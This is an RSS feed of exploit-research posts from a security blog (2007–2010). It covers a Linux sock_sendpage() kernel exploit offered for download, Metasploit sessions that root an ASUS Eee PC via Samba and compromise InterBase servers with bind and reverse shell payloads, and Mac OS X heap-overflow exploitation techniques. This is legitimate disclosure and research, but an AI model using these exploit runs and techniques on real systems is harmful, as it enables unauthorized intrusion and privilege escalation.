<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>RISE Security &#187; vulnerability</title>
	<atom:link href="http://risesecurity.org/tag/vulnerability/feed/" rel="self" type="application/rss+xml" />
	<link>http://risesecurity.org</link>
	<description></description>
	<lastBuildDate>Fri, 02 Jul 2010 10:27:39 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Illustrating the Linux sock_sendpage() NULL Pointer Dereference on Power/Cell BE Architecture</title>
		<link>http://risesecurity.org/2009/08/31/illustrating-the-linux-sock_sendpage-null-pointer-dereference-on-powercell-be-architecture/</link>
		<comments>http://risesecurity.org/2009/08/31/illustrating-the-linux-sock_sendpage-null-pointer-dereference-on-powercell-be-architecture/#comments</comments>
		<pubDate>Mon, 31 Aug 2009 00:00:03 +0000</pubDate>
		<dc:creator>Ramon de Carvalho Valle</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://hades-4/?p=44</guid>
		<description><![CDATA[September 10, 2009: I released a third and final version of the exploit. This third version features: Complete support for i386, x86_64, ppc and ppc64; The personality trick published by Tavis Ormandy and Julien Tinnes; The TOC pointer workaround for data items addressing on ppc64 (i.e. functions in exploit code and libc can be referenced); [...]]]></description>
			<content:encoded><![CDATA[<p><strong>September 10, 2009</strong>: I released a third and final version of the exploit. This third version features: Complete support for i386, x86_64, ppc and ppc64; The personality trick published by Tavis Ormandy and Julien Tinnes; The TOC pointer workaround for data items addressing on ppc64 (i.e. functions in exploit code and libc can be referenced); Improved search and transition to SELinux types with mmap_zero permission. The third version of the exploit is <a href="/exploits/linux-sendpage3.tar.gz">available here</a>.</p>
<p><strong>September 7, 2009</strong>: I released a second version of the exploit. Now, it also works with Linux Kernel versions which implements COW credentials (e.g. Fedora 11). For SELinux enforced systems, it automatically searches in the SELinux policy rules for types with mmap_zero permission it can transition, and tries to exploit the system with these types. The second version of the exploit is <a href="/exploits/linux-sendpage2.tar.gz">available here</a>.</p>
<p><span id="more-44"></span></p>
<p><strong>September 4, 2009</strong>: I updated the list of distributions the exploit was tested.</p>
<p>I released an exploit for the <a href="http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html">Linux sock_sendpage() NULL Pointer Dereference</a>, discovered by Tavis Ormandy and Julien Tinnes. This exploit was written to illustrate the exploitability of this vulnerability on Power/Cell BE architecture.</p>
<p>The exploit makes use of the SELinux and the mmap_min_addr problem to exploit this vulnerability on Red Hat Enterprise Linux 5.3 and CentOS 5.3. The problem, first noticed by Brad Spengler, was described by Red Hat in the Red Hat Knowledgebase article: <a href="http://kbase.redhat.com/faq/docs/DOC-18042">Security-Enhanced Linux (SELinux) policy and the mmap_min_addr protection</a>.</p>
<p>Support for i386 and x86_64 was added for completeness. For a more complete implementation, refer to <a href="http://www.grsecurity.net/%7Espender/wunderbar_emporium2.tgz">Brad Spengler&#8217;s exploit</a>, which also implements the <a href="http://blog.cr0.org/2009/06/bypassing-linux-null-pointer.html">personality trick</a> published by Tavis Ormandy and Julien Tinnes.</p>
<p>Linux kernel versions from 2.4.4 to 2.4.37.4, and from 2.6.0 to 2.6.30.4 are vulnerable.</p>
<p>The exploit was tested on:</p>
<ul>
<li>CentOS 5.3 (2.6.18-128.7.1.el5) is not vulnerable</li>
<li>CentOS 5.3 (2.6.18-128.4.1.el5)</li>
<li>CentOS 5.3 (2.6.18-128.2.1.el5)</li>
<li>CentOS 5.3 (2.6.18-128.1.16.el5)</li>
<li>CentOS 5.3 (2.6.18-128.1.14.el5)</li>
<li>CentOS 5.3 (2.6.18-128.1.10.el5)</li>
<li>CentOS 5.3 (2.6.18-128.1.6.el5)</li>
<li>CentOS 5.3 (2.6.18-128.1.1.el5)</li>
<li>CentOS 5.3 (2.6.18-128.el5)</li>
<li>CentOS 4.8 (2.6.9-89.0.9.EL) is not vulnerable</li>
<li>CentOS 4.8 (2.6.9-89.0.7.EL)</li>
<li>CentOS 4.8 (2.6.9-89.0.3.EL)</li>
<li>CentOS 4.8 (2.6.9-89.EL)</li>
<li>Fedora 11 (2.6.29.4-167.fc11)</li>
<li>Fedora 10 (2.6.27.5-117.fc10)</li>
<li>Red Hat Enterprise Linux 5.3 (2.6.18-128.7.1.el5) is not vulnerable</li>
<li>Red Hat Enterprise Linux 5.3 (2.6.18-128.4.1.el5)</li>
<li>Red Hat Enterprise Linux 5.3 (2.6.18-128.2.1.el5)</li>
<li>Red Hat Enterprise Linux 5.3 (2.6.18-128.1.16.el5)</li>
<li>Red Hat Enterprise Linux 5.3 (2.6.18-128.1.14.el5)</li>
<li>Red Hat Enterprise Linux 5.3 (2.6.18-128.1.10.el5)</li>
<li>Red Hat Enterprise Linux 5.3 (2.6.18-128.1.6.el5)</li>
<li>Red Hat Enterprise Linux 5.3 (2.6.18-128.1.1.el5)</li>
<li>Red Hat Enterprise Linux 5.3 (2.6.18-128.el5)</li>
<li>Red Hat Enterprise Linux 4.8 (2.6.9-89.0.9.EL) is not vulnerable</li>
<li>Red Hat Enterprise Linux 4.8 (2.6.9-89.0.7.EL)</li>
<li>Red Hat Enterprise Linux 4.8 (2.6.9-89.0.3.EL)</li>
<li>Red Hat Enterprise Linux 4.8 (2.6.9-89.EL)</li>
<li>SUSE Linux Enterprise Server 11 (2.6.27.29-0.1) is not vulnerable</li>
<li>SUSE Linux Enterprise Server 11 (2.6.27.25-0.1)</li>
<li>SUSE Linux Enterprise Server 11 (2.6.27.23-0.1)</li>
<li>SUSE Linux Enterprise Server 11 (2.6.27.21-0.1)</li>
<li>SUSE Linux Enterprise Server 11 (2.6.27.19-5)</li>
<li>SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.42.4) is not   vulnerable</li>
<li>SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.39.3)</li>
<li>SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.37_f594963d)</li>
<li>SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.34)</li>
<li>SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.33)</li>
<li>SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.31)</li>
<li>SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.29)</li>
<li>SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.27)</li>
<li>SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.23)</li>
<li>SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.21)</li>
<li>Ubuntu 8.10 (2.6.27-14) is not vulnerable</li>
<li>Ubuntu 8.10 (2.6.27-11)</li>
<li>Ubuntu 8.10 (2.6.27-9)</li>
<li>Ubuntu 8.10 (2.6.27-7)</li>
<li>openSUSE 11.1 (2.6.27.29-0.1) is not vulnerable</li>
<li>openSUSE 11.1 (2.6.27.25-0.1)</li>
<li>openSUSE 11.1 (2.6.27.23-0.1)</li>
<li>openSUSE 11.1 (2.6.27.21-0.1)</li>
<li>openSUSE 11.1 (2.6.27.19-3.2)</li>
<li>openSUSE 11.1 (2.6.27.7-9)</li>
</ul>
<p>It should also work on early versions of these distributions. The exploit is <a href="/exploits/linux-sendpage.c">available here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://risesecurity.org/2009/08/31/illustrating-the-linux-sock_sendpage-null-pointer-dereference-on-powercell-be-architecture/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ASUS Eee PC Rooted Out of the Box</title>
		<link>http://risesecurity.org/2008/02/08/asus-eee-pc-rooted-out-of-the-box/</link>
		<comments>http://risesecurity.org/2008/02/08/asus-eee-pc-rooted-out-of-the-box/#comments</comments>
		<pubDate>Fri, 08 Feb 2008 00:00:01 +0000</pubDate>
		<dc:creator>Ramon de Carvalho Valle</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[module]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://hades-4/?p=35</guid>
		<description><![CDATA[We have recently acquired an ASUS Eee PC (if you want to know more about it, a lot of reviews are available on internet). The first thing we did when we put our hands at the ASUS Eee PC was to test its security. The ASUS Eee PC comes with a customized version of Xandros [...]]]></description>
			<content:encoded><![CDATA[<p>We have recently acquired an ASUS Eee PC (if you want to know more about it, a lot of reviews are available on internet). The first thing we did when we put our hands at the ASUS Eee PC was to test its security. The ASUS Eee PC comes with a customized version of Xandros operating system installed, and some other bundled software like Mozilla Firefox, Pidgin, Skype and OpenOffice.org.</p>
<p>Analysing the running processes of the ASUS Eee PC, the first thing that caught our attention was the running smbd process (the sshd daemon was started by us, and is not enabled by default).</p>
<p><span id="more-35"></span></p>
<pre>eeepc-rise:/root&gt; ps -e
  PID TTY          TIME CMD
    1 ?        00:00:00 fastinit
    2 ?        00:00:00 ksoftirqd/0
    3 ?        00:00:00 events/0
    4 ?        00:00:00 khelper
    5 ?        00:00:00 kthread
   25 ?        00:00:00 kblockd/0
   26 ?        00:00:00 kacpid
  128 ?        00:00:00 ata/0
  129 ?        00:00:00 ata_aux
  130 ?        00:00:00 kseriod
  148 ?        00:00:00 pdflush
  149 ?        00:00:00 pdflush
  150 ?        00:00:00 kswapd0
  151 ?        00:00:00 aio/0
  152 ?        00:00:00 unionfs_siod/0
  778 ?        00:00:00 scsi_eh_0
  779 ?        00:00:00 scsi_eh_1
  799 ?        00:00:00 kpsmoused
  819 ?        00:00:00 kjournald
  855 ?        00:00:00 fastinit
  857 ?        00:00:00 sh
  858 ?        00:00:00 su
  859 tty3     00:00:00 getty
  862 ?        00:00:00 startx
  880 ?        00:00:00 xinit
  881 tty2     00:00:06 Xorg
  890 ?        00:00:00 udevd
  952 ?        00:00:00 ksuspend_usbd
  953 ?        00:00:00 khubd
 1002 ?        00:00:00 acpid
 1027 ?        00:00:00 pciehpd_event
 1055 ?        00:00:00 ifplugd
 1101 ?        00:00:00 scsi_eh_2
 1102 ?        00:00:00 usb-storage
 1151 ?        00:00:00 icewm
 1185 ?        00:00:01 AsusLauncher
 1186 ?        00:00:00 icewmtray
 1188 ?        00:00:01 powermonitor
 1190 ?        00:00:00 minimixer
 1191 ?        00:00:00 networkmonitor
 1192 ?        00:00:00 wapmonitor
 1193 ?        00:00:00 x-session-manag
 1195 ?        00:00:00 x-session-manag
 1200 ?        00:00:00 x-session-manag
 1201 ?        00:00:00 dispwatch
 1217 ?        00:00:00 cupsd
 1224 ?        00:00:00 usbstorageapple
 1234 ?        00:00:00 kondemand/0
 1240 ?        00:00:00 portmap
 1248 ?        00:00:00 keyboardstatus
 1272 ?        00:00:00 memd
 1279 ?        00:00:00 scim-helper-man
 1280 ?        00:00:00 scim-panel-gtk
 1282 ?        00:00:00 scim-launcher
 1297 ?        00:00:00 netserv
 1331 ?        00:00:00 asusosd
 1476 ?        00:00:00 xandrosncs-agen
 1775 ?        00:00:00 dhclient3
 2002 ?        00:00:00 nmbd
 2004 ?        00:00:00 smbd
 2005 ?        00:00:00 smbd
 2322 ?        00:00:00 sshd
 2345 ?        00:00:00 sshd
 2356 pts/0    00:00:00 bash
 2362 pts/0    00:00:00 ps
eeepc-rise:/root&gt;
</pre>
<p>Retrieving the the smbd version, we discovered that it runs a vulnerable version of Samba (Samba lsa_io_trans_names Heap Overflow), which exploit we published earlier last year.</p>
<pre>eeepc-rise:/root&gt; smbd --version
Version 3.0.24
eeepc-rise:/root&gt;
</pre>
<p>With this information, we ran our exploit against the ASUS Eee PC using the Debian/Ubuntu target (Xandros is based on Corel Linux, which is Debian based).</p>
<pre>msf &gt; use linux/samba/lsa_transnames_heap
msf exploit(lsa_transnames_heap) &gt; set RHOST 192.168.50.10
RHOST =&gt; 192.168.50.10
msf exploit(lsa_transnames_heap) &gt; set PAYLOAD linux/x86/shell_bind_tcp
PAYLOAD =&gt; linux/x86/shell_bind_tcp
msf exploit(lsa_transnames_heap) &gt; show targets

Exploit targets:

   Id  Name
   --  ----
   0   Linux vsyscall
   1   Linux Heap Brute Force (Debian/Ubuntu)
   2   Linux Heap Brute Force (Gentoo)
   3   Linux Heap Brute Force (Mandriva)
   4   Linux Heap Brute Force (RHEL/CentOS)
   5   Linux Heap Brute Force (SUSE)
   6   Linux Heap Brute Force (Slackware)
   7   DEBUG

msf exploit(lsa_transnames_heap) &gt; set TARGET 1
TARGET =&gt; 1
msf exploit(lsa_transnames_heap) &gt; exploit
[*] Started bind handler
[*] Creating nop sled....
...
[*] Trying to exploit Samba with address 0x08415000...
[*] Connecting to the SMB service...
[*] Binding to
12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.50.10[\lsarpc] ...
[*] Bound to
12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.50.10[\lsarpc] ...
[*] Calling the vulnerable function...
[+] Server did not respond, this is expected
[*] Command shell session 1 opened (192.168.50.201:33694 -&gt; 192.168.50.10:4444)
msf exploit(lsa_transnames_heap) &gt; sessions -i 1
[*] Starting interaction with 1...

uname -a
Linux eeepc-rise 2.6.21.4-eeepc #21 Sat Oct 13 12:14:03 EDT 2007 i686 GNU/Linux
id
uid=0(root) gid=0(root) egid=65534(nogroup) groups=65534(nogroup)
</pre>
<p><strong>Easy</strong> to learn, <strong>Easy</strong> to work, <strong>Easy</strong> to root.</p>
]]></content:encoded>
			<wfw:commentRss>http://risesecurity.org/2008/02/08/asus-eee-pc-rooted-out-of-the-box/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>InterBase/Firebird fun</title>
		<link>http://risesecurity.org/2007/10/03/interbasefirebird-fun/</link>
		<comments>http://risesecurity.org/2007/10/03/interbasefirebird-fun/#comments</comments>
		<pubDate>Wed, 03 Oct 2007 00:00:59 +0000</pubDate>
		<dc:creator>Ramon de Carvalho Valle</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[auxiliary]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[module]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://hades-4/?p=32</guid>
		<description><![CDATA[While developing an exploit module for the Borland Interbase ibserver.exe &#8216;create&#8217; Buffer Overflow Vulnerability, published by TippingPoint, we decided to take a look into Borland InterBase code, and unfortunately, the results were not good. We found about 20 buffer overflow vulnerabilities that affects all versions of Borland InterBase, and some of them also affects the [...]]]></description>
			<content:encoded><![CDATA[<p>While developing an exploit module for the <a href="http://dvlabs.tippingpoint.com/advisory/TPTI-07-13">Borland Interbase ibserver.exe &#8216;create&#8217; Buffer Overflow Vulnerability</a>, published by TippingPoint, we decided to take a look into Borland InterBase code, and unfortunately, the results were not good.</p>
<p>We found about 20 buffer overflow vulnerabilities that affects all versions of Borland InterBase, and some of them also affects the Firebird Relational Database. All remote, trivial to exploit, stack-based buffer overflows.</p>
<p><span id="more-32"></span></p>
<p>We contacted both Borland/CodeGear and Firebird developers about these vulnerabilities. After failed attempts to find an email address to report security issues in their products, we tried their bug tracking systems. Borland/CodeGear asked us to send information to their support email address, but we didn&#8217;t get any further responses. Firebird developers didn&#8217;t answer to our reports either, but they corrected these vulnerabilities in the latest version of Firebird.</p>
<p>We published the advisories, an auxiliary scanner module and exploit modules for some of these vulnerabilities for <a href="http://www.metasploit.com/framework/">The Metasploit Framework</a>.</p>
<p>The auxiliary scanner module searches for running InterBase/Firebird instances on an address range and retrieves version and implementation of the InterBase server from InterBase Services Manager. This auxiliary module can be used to determine the exact target will be used in an exploitation scenario.</p>
<pre>msf &gt; use auxiliary/scanner/misc/ib_service_mgr_info
msf auxiliary(ib_service_mgr_info) &gt; set RHOSTS 192.168.213.0/24
RHOSTS =&gt; 192.168.213.0/24
msf auxiliary(ib_service_mgr_info) &gt; run
[*] Trying 192.168.213.0
[*] Trying 192.168.213.1
[*] Trying 192.168.213.2
...
[*] Trying 192.168.213.132
IP Address: 192.168.213.132
Version of the InterBase server: WI-V6.0.1.0
Implementation of the InterBase server: InterBase/x86/Windows NT

...
[*] Trying 192.168.213.253
[*] Trying 192.168.213.254
[*] Trying 192.168.213.255
[*] Auxiliary module execution completed
msf auxiliary(ib_service_mgr_info) &gt;
</pre>
<p>Using this information, one can select the exact target from one of our published exploit modules.</p>
<pre>msf auxiliary(ib_service_mgr_info) &gt; use windows/misc/ib_isc_attach_database
msf exploit(ib_isc_attach_database) &gt; set RHOST 192.168.213.132
RHOST =&gt; 192.168.213.132
msf exploit(ib_isc_attach_database) &gt; set LHOST 192.168.0.4
LHOST =&gt; 192.168.0.4
msf exploit(ib_isc_attach_database) &gt; set PAYLOAD windows/shell_reverse_tcp
PAYLOAD =&gt; windows/shell_reverse_tcp
msf exploit(ib_isc_attach_database) &gt; show targets

Exploit targets:

   Id  Name
   --  ----
   0   Brute Force
   1   Borland InterBase WI-V8.1.0.257
   2   Borland InterBase WI-V8.0.0.123
   3   Borland InterBase WI-V7.5.0.129 WI-V7.5.1.80
   4   Borland InterBase WI-V7.0.1.1
   5   Borland InterBase WI-V6.5.0.28
   6   Borland InterBase WI-V6.0.1.6
   7   Borland InterBase WI-V6.0.0.627 WI-V6.0.1.0 WI-O6.0.1.6 WI-O6.0.2.0
   8   Borland InterBase WI-V5.5.0.742
   9   Borland InterBase WI-V5.1.1.680
   10  Debug

msf exploit(ib_isc_attach_database) &gt; set TARGET 7
TARGET =&gt; 7
msf exploit(ib_isc_attach_database) &gt; exploit
[*] Started reverse handler
[*] Command shell session 1 opened (192.168.0.4:4444 -&gt; 192.168.0.4:33891)

Microsoft Windows XP [versão 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32&gt;
</pre>
<p>The brute force option assumes that ibguard/fbguard is running and tries every available target from an exploit module sequentially.</p>
<pre>msf exploit(ib_isc_attach_database) &gt; set TARGET 0
TARGET =&gt; 0
msf exploit(ib_isc_attach_database) &gt; exploit
[*] Started reverse handler
[*] Brute forcing with 10 possible targets
[*] Trying target Borland InterBase WI-V8.1.0.257...
[*] Trying target Borland InterBase WI-V8.0.0.123...
[*] Trying target Borland InterBase WI-V7.5.0.129 WI-V7.5.1.80...
[*] Trying target Borland InterBase WI-V7.0.1.1...
[*] Trying target Borland InterBase WI-V6.5.0.28...
[*] Trying target Borland InterBase WI-V6.0.1.6...
[*] Trying target Borland InterBase WI-V6.0.0.627 WI-V6.0.1.0 WI-O6.0.1.6
WI-O6.0.2.0...
[*] Command shell session 2 opened (192.168.0.4:4444 -&gt; 192.168.0.4:33942)

Microsoft Windows XP [versão 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32&gt;
</pre>
<p>It is important to note that all Borland InterBase vulnerabilities published by us were not corrected by the vendor and are present in all (including the latest) versions of their product.</p>
]]></content:encoded>
			<wfw:commentRss>http://risesecurity.org/2007/10/03/interbasefirebird-fun/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Update on exploiting the Samba lsa_io_trans_names() Heap Overflow in Mac OS X</title>
		<link>http://risesecurity.org/2007/07/19/update-on-exploiting-the-samba-lsa_io_trans_names-heap-overflow-in-mac-os-x/</link>
		<comments>http://risesecurity.org/2007/07/19/update-on-exploiting-the-samba-lsa_io_trans_names-heap-overflow-in-mac-os-x/#comments</comments>
		<pubDate>Thu, 19 Jul 2007 00:00:09 +0000</pubDate>
		<dc:creator>Ramon de Carvalho Valle</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://hades-4/?p=31</guid>
		<description><![CDATA[After some tests, we discovered that when the smbd process is started by the lauchd daemon, exploiting this vulnerability using the size() pointer in initial_malloc_zones may cause a unexpected behavior. The lauchd daemon starts a smbd process only at the first brute force interaction, and does not start any new smbd processes at subsequent iterations, [...]]]></description>
			<content:encoded><![CDATA[<p>After some tests, we discovered that when the smbd process is started by the lauchd daemon, exploiting this vulnerability using the size() pointer in initial_malloc_zones may cause a unexpected behavior. The lauchd daemon starts a smbd process only at the first brute force interaction, and does not start any new smbd processes at subsequent iterations, causing exploitation to fail.</p>
<p>However, we found a reliable way to exploit this vulnerability even if the smbd process is started by the launchd daemon.</p>
<p><span id="more-31"></span></p>
<p>Initially, we need to use another pointer in initial_malloc_zones structure, but before just using another pointer, care must be taken because pointers in initial_malloc_zones that are called before the one we will use, can be trashed by the szone_free() function, causing the program to crash before we gain control of execution.</p>
<p>To avoid a crash, we use the free() pointer and let the szone_free() to trash the calloc() or valloc() pointers, which are not called before free() after the overflow.</p>
<p>However, we need to find another nop block that not only results in a nop-like instruction at our target address, but also do a near jump over the pointer written four or eight bytes past our target address, or move a valid value to the ecx register, which in free() context does not point to a valid memory location (it is zero). After some calculations, we discovered that a nop block of 0&#215;16 and the address 0&#215;1800014 satisfies all these conditions.</p>
<pre>0x357b ^ ( 0x1800014 ^ 0x16161616 ) = 17962379
</pre>
<p>Implied that we use the second mov instruction, it will result in the following instruction block being executed as the first few bytes of our target address.</p>
<pre>   0:   79 23                   jns    0x25
   2:   96                      xchgl  %eax,%esi
   3:   17                      popl   %ss
   4:   16                      pushl  %ss
   5:   16                      pushl  %ss
   6:   16                      pushl  %ss
   7:   16                      pushl  %ss
   8:   14 00                   adcb   $0x0,%al
   a:   80 01 16                addb   $0x16,(%ecx)
   d:   16                      pushl  %ss
   e:   16                      pushl  %ss
   f:   16                      pushl  %ss
</pre>
<p>The jump condition is always true because the sign flag is zero at the time our target address is executed. When executed, this will jump over the address written eight bytes past our buffer, hitting directly the nop block, which will be executed until it reaches the payload appended to it. Let us know if you have any questions, comments or improvements.</p>
]]></content:encoded>
			<wfw:commentRss>http://risesecurity.org/2007/07/19/update-on-exploiting-the-samba-lsa_io_trans_names-heap-overflow-in-mac-os-x/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Exploiting the Samba lsa_io_trans_names() Heap Overflow in Mac OS X</title>
		<link>http://risesecurity.org/2007/07/05/exploiting-the-samba-lsa_io_trans_names-heap-overflow-in-mac-os-x/</link>
		<comments>http://risesecurity.org/2007/07/05/exploiting-the-samba-lsa_io_trans_names-heap-overflow-in-mac-os-x/#comments</comments>
		<pubDate>Thu, 05 Jul 2007 00:00:27 +0000</pubDate>
		<dc:creator>Ramon de Carvalho Valle</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://hades-4/?p=30</guid>
		<description><![CDATA[While developing an exploit for the Samba lsa_io_trans_names() Heap Overflow for the Mac OS X operating system, we discovered that the szone_free() function has some interesting behavior. The szone_free() function can be abused to overwrite one of the function pointers in the initial_malloc_zones structure and achieve arbitrary code execution. Exploitation is not straightforward, however, due [...]]]></description>
			<content:encoded><![CDATA[<p>While developing an exploit for the Samba lsa_io_trans_names() Heap Overflow for the Mac OS X operating system, we discovered that the szone_free() function has some interesting behavior.</p>
<p>The szone_free() function can be abused to overwrite one of the function pointers in the initial_malloc_zones structure and achieve arbitrary code execution. Exploitation is not straightforward, however, due to how the szone_free() function operates.</p>
<p><span id="more-30"></span></p>
<p>A partial disassembly of the szone_free() function can be found below:</p>
<pre>&lt;szone_free+2898&gt;:   mov    %edi,0x8(%esi)
&lt;szone_free+2901&gt;:   mov    0x4(%esi),%eax
&lt;szone_free+2904&gt;:   xor    %edi,%eax
&lt;szone_free+2906&gt;:   xor    $0x357b,%eax
&lt;szone_free+2911&gt;:   mov    %eax,(%esi)
&lt;szone_free+2913&gt;:   test   %edi,%edi
&lt;szone_free+2915&gt;:   je     0x90005e8d &lt;szone_free+2931&gt;
&lt;szone_free+2917&gt;:   mov    %esi,0x4(%edi)
&lt;szone_free+2920&gt;:   xor    0x8(%edi),%esi
&lt;szone_free+2923&gt;:   xor    $0x357b,%esi
&lt;szone_free+2929&gt;:   mov    %esi,(%edi)</pre>
<p>This disassembly can be represented by the following C language code block:</p>
<pre>*((int *)(esi+8)) = edi;
eax = *((int *)(esi+4));
eax = edi ^ eax;
eax = 0x357b ^ eax;
*((int *)esi) = eax;

*((int *)(edi+4)) = esi;
esi = *((int *)(edi+8)) ^ esi;
esi = 0x357b ^ esi;
*((int *)edi) = esi;</pre>
<p>This can be further simplified to:</p>
<pre>*((int *)(esi+8)) = edi;
*((int *)esi) = 0x357b ^ ( edi ^ *((int *)(esi+4)) );

*((int *)(edi+4)) = esi;
*((int *)edi) = 0x357b ^ ( *((int *)(edi+8)) ^ esi );</pre>
<p>As we can see, this code allows us to use the mov instructions at zone_free+2898 or szone_free+2917 to write to the initial_malloc_zones structure.</p>
<p>However, this code will also write the output of a sequence of xor operations to the addresses stored in the esi and edi registers. This will cause the initial four bytes of our target address to be overwritten with garbage instructions, resulting in an illegal instruction exception or segmentation fault.</p>
<p>To avoid a crash, we have to find a nop block that satisfies these conditions and results in a valid nop instruction being written to the beginning of our target address. After some calculations, we discovered that a nop block of 0&#215;42 (incl %edx) and the address of 0&#215;1800004 results in a xor output that is also a valid nop-like instruction:</p>
<pre>0x357b ^ ( 0x1800004 ^ 0x42424242 ) = 0x43c2773d</pre>
<p>This will result in the following instruction block being executed as the first few bytes of our target address (the 0&#215;42 at the end is part of the nop block):</p>
<pre>0:   3d 77 c2 43 42          cmpl   $0x4243c277,%eax</pre>
<p>Using this technique we can overwrite only the function pointers for the size() and malloc() routines in the initial_malloc_zones structure. Unfortunately, overwriting the malloc() pointer in this fashion leads to another problem.</p>
<p>If we use the mov intruction at szone_free+2898 (which implies the use of malloc() pointer) to write to the initial_malloc_zones structure, the caller will write the address 0&#215;1800004 four bytes past our target address, resulting in following code block being executed:</p>
<pre>0:   3d 77 c2 43 04          cmpl   $0x443c277,%eax
5:   00 80 01 42 42 42       addb   %al,0x42424201(%eax)</pre>
<p>This will likely result in a segmentation fault, because the value of eax + 0&#215;42424201 does not point to a valid memory location at the time of execution.</p>
<p>To avoid this problem we will need to use the mov instruction at szone_free+2917 (which implies the use of size() pointer) instead. When using the mov instruction at szone_free+2917, the address 0&#215;1800004 will be written eight bytes past our target address, resulting in the following code block being executed:</p>
<pre>0:   3d 77 c2 43 42          cmpl   $0x4243c277,%eax
5:   42                      incl   %edx
6:   42                      incl   %edx
7:   42                      incl   %edx
8:   04 00                   addb   $0x0,%al
a:   80 01 42                addb   $0x42,(%ecx)</pre>
<p>This code block satisfies all our requirements and will execute without problems because the ecx register points to valid and writable memory location (0&#215;1800000 initial_malloc_zones) at the time of execution. Any shellcode appended to the end of this block will now be reached and executed.</p>
<p>This technique is useful for exploiting the Samba vulnerability, but may be useful for other heap overflows on the Mac OS X operating system. Let us know if you have any questions, comments or improvements.</p>
]]></content:encoded>
			<wfw:commentRss>http://risesecurity.org/2007/07/05/exploiting-the-samba-lsa_io_trans_names-heap-overflow-in-mac-os-x/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
